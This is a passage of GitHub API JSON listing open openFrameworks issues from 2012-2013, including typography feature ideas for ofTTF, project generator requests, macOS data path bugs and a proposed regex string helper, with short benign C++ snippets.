html_url":null,"diff_url":null,"patch_url":null},"body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","id":3910580,"number":1130,"title":"Define standard header for examples.","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":1,"created_at":"2012-03-31T14:44:01Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Agree on a common format for a header in the contributed example files."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","id":3910549,"number":1128,"title":"upgrade scripts","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-31T14:38:19Z","updated_at":"2012-03-31T16:32:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","id":3897090,"number":1126,"title":"PG Feature request: Clean examples folder","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":1,"created_at":"2012-03-30T12:51:30Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","id":3883598,"number":1124,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","user":{"login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","url":"https://api.github.com/users/jesusgollonet","html_url":"https://github.com/jesusgollonet","followers_url":"https://api.github.com/users/jesusgollonet/followers","following_url":"https://api.github.com/users/jesusgollonet/following","gists_url":"https://api.github.com/users/jesusgollonet/gists{/gist_id}","starred_url":"https://api.github.com/users/jesusgollonet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jesusgollonet/subscriptions","organizations_url":"https://api.github.com/users/jesusgollonet/orgs","repos_url":"https://api.github.com/users/jesusgollonet/repos","events_url":"https://api.github.com/users/jesusgollonet/events{/privacy}","received_events_url":"https://api.github.com/users/jesusgollonet/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-29T16:47:29Z","updated_at":"2012-06-07T12:06:49Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","id":3856005,"number":1120,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","user":{"login":"imanhp","id":1216228,"avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"7398ab0bbd07832d0289f26773e65077","url":"https://api.github.com/users/imanhp","html_url":"https://github.com/imanhp","followers_url":"https://api.github.com/users/imanhp/followers","following_url":"https://api.github.com/users/imanhp/following","gists_url":"https://api.github.com/users/imanhp/gists{/gist_id}","starred_url":"https://api.github.com/users/imanhp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/imanhp/subscriptions","organizations_url":"https://api.github.com/users/imanhp/orgs","repos_url":"https://api.github.com/users/imanhp/repos","events_url":"https://api.github.com/users/imanhp/events{/privacy}","received_events_url":"https://api.github.com/users/imanhp/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-03-28T16:21:45Z","updated_at":"2012-03-29T13:05:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","id":3825582,"number":1117,"title":"Can't retrieve desired frame rate once set","user":{"login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","url":"https://api.github.com/users/armadillu","html_url":"https://github.com/armadillu","followers_url":"https://api.github.com/users/armadillu/followers","following_url":"https://api.github.com/users/armadillu/following","gists_url":"https://api.github.com/users/armadillu/gists{/gist_id}","starred_url":"https://api.github.com/users/armadillu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/armadillu/subscriptions","organizations_url":"https://api.github.com/users/armadillu/orgs","repos_url":"https://api.github.com/users/armadillu/repos","events_url":"https://api.github.com/users/armadillu/events{/privacy}","received_events_url":"https://api.github.com/users/armadillu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-03-27T11:48:00Z","updated_at":"2012-04-18T17:13:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","id":3813852,"number":1116,"title":"ofVBO updateIndexData incorrect buffer type.","user":{"login":"vade","id":65011,"avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"37aca214d4875cd90af9d67072c82642","url":"https://api.github.com/users/vade","html_url":"https://github.com/vade","followers_url":"https://api.github.com/users/vade/followers","following_url":"https://api.github.com/users/vade/following","gists_url":"https://api.github.com/users/vade/gists{/gist_id}","starred_url":"https://api.github.com/users/vade/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vade/subscriptions","organizations_url":"https://api.github.com/users/vade/orgs","repos_url":"https://api.github.com/users/vade/repos","events_url":"https://api.github.com/users/vade/events{/privacy}","received_events_url":"https://api.github.com/users/vade/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-03-26T18:26:05Z","updated_at":"2012-03-26T22:27:14Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","id":3812318,"number":1115,"title":"optimization level in xcode projects","user":{"login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","html_url":"https://github.com/colormotor","followers_url":"https://api.github.com/users/colormotor/followers","following_url":"https://api.github.com/users/colormotor/following","gists_url":"https://api.github.com/users/colormotor/gists{/gist_id}","starred_url":"https://api.github.com/users/colormotor/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colormotor/subscriptions","organizations_url":"https://api.github.com/users/colormotor/orgs","repos_url":"https://api.github.com/users/colormotor/repos","events_url":"https://api.github.com/users/colormotor/events{/privacy}","received_events_url":"https://api.github.com/users/colormotor/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-03-26T17:05:14Z","updated_at":"2012-03-26T18:45:51Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","id":3812275,"number":1114,"title":"macros in ofArduino","user":{"login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","html_url":"https://github.com/colormotor","followers_url":"https://api.github.com/users/colormotor/followers","following_url":"https://api.github.com/users/colormotor/following","gists_url":"https://api.github.com/users/colormotor/gists{/gist_id}","starred_url":"https://api.github.com/users/colormotor/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colormotor/subscriptions","organizations_url":"https://api.github.com/users/colormotor/orgs","repos_url":"https://api.github.com/users/colormotor/repos","events_url":"https://api.github.com/users/colormotor/events{/privacy}","received_events_url":"https://api.github.com/users/colormotor/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","html_url":"https://github.com/joshuajnoble","followers_url":"https://api.github.com/users/joshuajnoble/followers","following_url":"https://api.github.com/users/joshuajnoble/following","gists_url":"https://api.github.com/users/joshuajnoble/gists{/gist_id}","starred_url":"https://api.github.com/users/joshuajnoble/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshuajnoble/subscriptions","organizations_url":"https://api.github.com/users/joshuajnoble/orgs","repos_url":"https://api.github.com/users/joshuajnoble/repos","events_url":"https://api.github.com/users/joshuajnoble/events{/privacy}","received_events_url":"https://api.github.com/users/joshuajnoble/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-03-26T17:02:21Z","updated_at":"2012-08-02T10:10:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","id":3799872,"number":1110,"title":"add a simple regex function like ofSplitString()","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-25T18:56:37Z","updated_at":"2012-03-25T20:07:16Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","id":3799653,"number":1109,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-03-25T18:18:28Z","updated_at":"2012-03-25T18:50:13Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","id":3754055,"number":1103,"title":"PG feature request: Generate makefile-only 